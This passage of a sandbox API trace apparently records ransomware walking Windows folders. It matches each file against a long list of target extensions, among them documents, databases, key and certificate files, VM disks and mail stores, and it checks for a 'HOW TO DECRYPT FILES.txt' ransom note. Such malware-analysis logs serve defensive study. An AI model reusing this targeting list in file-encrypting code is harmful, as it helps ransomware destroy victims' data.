(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.jpg") returned 0 [0105.586] lstrlenA (lpString="*.jpg") returned 5 [0105.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.png") returned 0 [0105.586] lstrlenA (lpString="*.png") returned 5 [0105.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.php") returned 0 [0105.586] lstrlenA (lpString="*.php") returned 5 [0105.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.cs") returned 0 [0105.586] lstrlenA (lpString="*.cs") returned 4 [0105.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.cpp") returned 0 [0105.586] lstrlenA (lpString="*.cpp") returned 5 [0105.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.rar") returned 0 [0105.586] lstrlenA (lpString="*.rar") returned 5 [0105.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.zip") returned 0 [0105.587] lstrlenA (lpString="*.zip") returned 5 [0105.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.html") returned 0 [0105.587] lstrlenA (lpString="*.html") returned 6 [0105.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.htm") returned 0 [0105.587] lstrlenA (lpString="*.htm") returned 5 [0105.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.xlsx") returned 0 [0105.587] lstrlenA (lpString="*.xlsx") returned 6 [0105.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.xls") returned 0 [0105.587] lstrlenA (lpString="*.xls") returned 5 [0105.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.mp4") returned 0 [0105.587] lstrlenA (lpString="*.mp4") returned 5 [0105.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.ppt") returned 0 [0105.587] lstrlenA (lpString="*.ppt") returned 5 [0105.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.pptx") returned 0 [0105.587] lstrlenA (lpString="*.pptx") returned 6 [0105.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.doc") returned 0 [0105.587] lstrlenA (lpString="*.doc") returned 5 [0105.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.dot") returned 0 [0105.587] lstrlenA (lpString="*.dot") returned 5 [0105.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.docx") returned 0 [0105.588] lstrlenA (lpString="*.docx") returned 6 [0105.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.7z") returned 0 [0105.588] lstrlenA (lpString="*.7z") returned 4 [0105.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.tar") returned 0 [0105.588] lstrlenA (lpString="*.tar") returned 5 [0105.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.bz2") returned 0 [0105.588] lstrlenA (lpString="*.bz2") returned 5 [0105.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.gz") returned 0 [0105.588] lstrlenA (lpString="*.gz") returned 4 [0105.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.mkv") returned 0 [0105.588] lstrlenA (lpString="*.mkv") returned 5 [0105.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.eml") returned 0 [0105.588] lstrlenA (lpString="*.eml") returned 5 [0105.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.msg") returned 0 [0105.588] lstrlenA (lpString="*.msg") returned 5 [0105.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.edb") returned 0 [0105.588] lstrlenA (lpString="*.edb") returned 5 [0105.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.accdb") returned 0 [0105.589] lstrlenA (lpString="*.accdb") returned 7 [0105.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.odb") returned 0 [0105.589] lstrlenA (lpString="*.odb") returned 5 [0105.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.java") returned 0 [0105.589] lstrlenA (lpString="*.java") returned 6 [0105.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.asm") returned 0 [0105.589] lstrlenA (lpString="*.asm") returned 5 [0105.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.pfx") returned 0 [0105.589] lstrlenA (lpString="*.pfx") returned 5 [0105.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.pem") returned 0 [0105.589] lstrlenA (lpString="*.pem") returned 5 [0105.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.p12") returned 0 [0105.589] lstrlenA (lpString="*.p12") returned 5 [0105.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.gpg") returned 0 [0105.589] lstrlenA (lpString="*.gpg") returned 5 [0105.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.vsd") returned 0 [0105.590] lstrlenA (lpString="*.vsd") returned 5 [0105.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.odg") returned 0 [0105.590] lstrlenA (lpString="*.odg") returned 5 [0105.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.raw") returned 0 [0105.590] lstrlenA (lpString="*.raw") returned 5 [0105.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.nef") returned 0 [0105.590] lstrlenA (lpString="*.nef") returned 5 [0105.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.svg") returned 0 [0105.590] lstrlenA (lpString="*.svg") returned 5 [0105.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.psd") returned 0 [0105.590] lstrlenA (lpString="*.psd") returned 5 [0105.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.vmx") returned 0 [0105.590] lstrlenA (lpString="*.vmx") returned 5 [0105.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.vmdk") returned 0 [0105.590] lstrlenA (lpString="*.vmdk") returned 6 [0105.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.vdi") returned 0 [0105.590] lstrlenA (lpString="*.vdi") returned 5 [0105.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.lay6") returned 0 [0105.591] lstrlenA (lpString="*.lay6") returned 6 [0105.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.mpeg") returned 0 [0105.591] lstrlenA (lpString="*.mpeg") returned 6 [0105.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.djvu") returned 0 [0105.591] lstrlenA (lpString="*.djvu") returned 6 [0105.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.tiff") returned 0 [0105.591] lstrlenA (lpString="*.tiff") returned 6 [0105.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.backup") returned 0 [0105.591] lstrlenA (lpString="*.backup") returned 8 [0105.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.pdf") returned 0 [0105.591] lstrlenA (lpString="*.pdf") returned 5 [0105.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.cert") returned 0 [0105.591] lstrlenA (lpString="*.cert") returned 6 [0105.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.docm") returned 0 [0105.591] lstrlenA (lpString="*.docm") returned 6 [0105.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.xlsm") returned 0 [0105.591] lstrlenA (lpString="*.xlsm") returned 6 [0105.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.dwg") returned 0 [0105.592] lstrlenA (lpString="*.dwg") returned 5 [0105.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.nd") returned 0 [0105.592] lstrlenA (lpString="*.nd") returned 4 [0105.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.tlg") returned 0 [0105.592] lstrlenA (lpString="*.tlg") returned 5 [0105.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.lgb") returned 0 [0105.592] lstrlenA (lpString="*.lgb") returned 5 [0105.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.mov") returned 0 [0105.592] lstrlenA (lpString="*.mov") returned 5 [0105.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.xdw") returned 0 [0105.592] lstrlenA (lpString="*.xdw") returned 5 [0105.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.ods") returned 0 [0105.592] lstrlenA (lpString="*.ods") returned 5 [0105.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.wav") returned 0 [0105.592] lstrlenA (lpString="*.wav") returned 5 [0105.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.mp3") returned 0 [0105.592] lstrlenA (lpString="*.mp3") returned 5 [0105.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.aiff") returned 0 [0105.592] lstrlenA (lpString="*.aiff") returned 6 [0105.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.flac") returned 0 [0105.593] lstrlenA (lpString="*.flac") returned 6 [0105.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.m4a") returned 0 [0105.593] lstrlenA (lpString="*.m4a") returned 5 [0105.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.csv") returned 0 [0105.593] lstrlenA (lpString="*.csv") returned 5 [0105.593] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf661fd4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf661fd4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf688135, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x44600, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Wrapper.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1 [0105.593] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.593] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.EnterpriseServices.Wrapper.dll") returned -1 [0105.593] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.EnterpriseServices.Wrapper.dll") returned -1 [0105.593] lstrcmpiA (lpString1="", lpString2="System.EnterpriseServices.Wrapper.dll") returned -1 [0105.593] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll") returned="System.EnterpriseServices.ni.dll" [0105.718] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\" [0105.718] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\") returned="" [0105.718] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\HOW TO DECRYPT FILES.txt" [0105.719] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.enterprisese#\\887ef2648686aad19feff405eddbffd2\\how to decrypt files.txt")) returned 0x20 [0105.719] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\", lpString2="System.EnterpriseServices.Wrapper.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll" [0105.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.ems") returned 0 [0105.719] lstrlenA (lpString="*.ems") returned 5 [0105.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.db") returned 0 [0105.719] lstrlenA (lpString="*.db") returned 4 [0105.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.dbf") returned 0 [0105.719] lstrlenA (lpString="*.dbf") returned 5 [0105.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.myox") returned 0 [0105.719] lstrlenA (lpString="*.myox") returned 6 [0105.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.myo") returned 0 [0105.719] lstrlenA (lpString="*.myo") returned 5 [0105.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbw") returned 0 [0105.720] lstrlenA (lpString="*.qbw") returned 5 [0105.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbb") returned 0 [0105.720] lstrlenA (lpString="*.qbb") returned 5 [0105.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbm") returned 0 [0105.720] lstrlenA (lpString="*.qbm") returned 5 [0105.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbo") returned 0 [0105.720] lstrlenA (lpString="*.qbo") returned 5 [0105.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbx") returned 0 [0105.720] lstrlenA (lpString="*.qbx") returned 5 [0105.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qba") returned 0 [0105.720] lstrlenA (lpString="*.qba") returned 5 [0105.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qby") returned 0 [0105.720] lstrlenA (lpString="*.qby") returned 5 [0105.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbj") returned 0 [0105.720] lstrlenA (lpString="*.qbj") returned 5 [0105.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.ofx") returned 0 [0105.721] lstrlenA (lpString="*.ofx") returned 5 [0105.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qif") returned 0 [0105.721] lstrlenA (lpString="*.qif") returned 5 [0105.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mye") returned 0 [0105.721] lstrlenA (lpString="*.mye") returned 5 [0105.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mbox") returned 0 [0105.721] lstrlenA (lpString="*.mbox") returned 6 [0105.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.eml") returned 0 [0105.721] lstrlenA (lpString="*.eml") returned 5 [0105.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.pst") returned 0 [0105.721] lstrlenA (lpString="*.pst") returned 5 [0105.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.ost") returned 0 [0105.721] lstrlenA (lpString="*.ost") returned 5 [0105.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.idx") returned 0 [0105.721] lstrlenA (lpString="*.idx") returned 5 [0105.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.dbx") returned 0 [0105.721] lstrlenA (lpString="*.dbx") returned 5 [0105.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.sql") returned 0 [0105.721] lstrlenA (lpString="*.sql") returned 5 [0105.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mdb") returned 0 [0105.722] lstrlenA (lpString="*.mdb") returned 5 [0105.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.fdb") returned 0 [0105.722] lstrlenA (lpString="*.fdb") returned 5 [0105.722] PathMatchSpecA 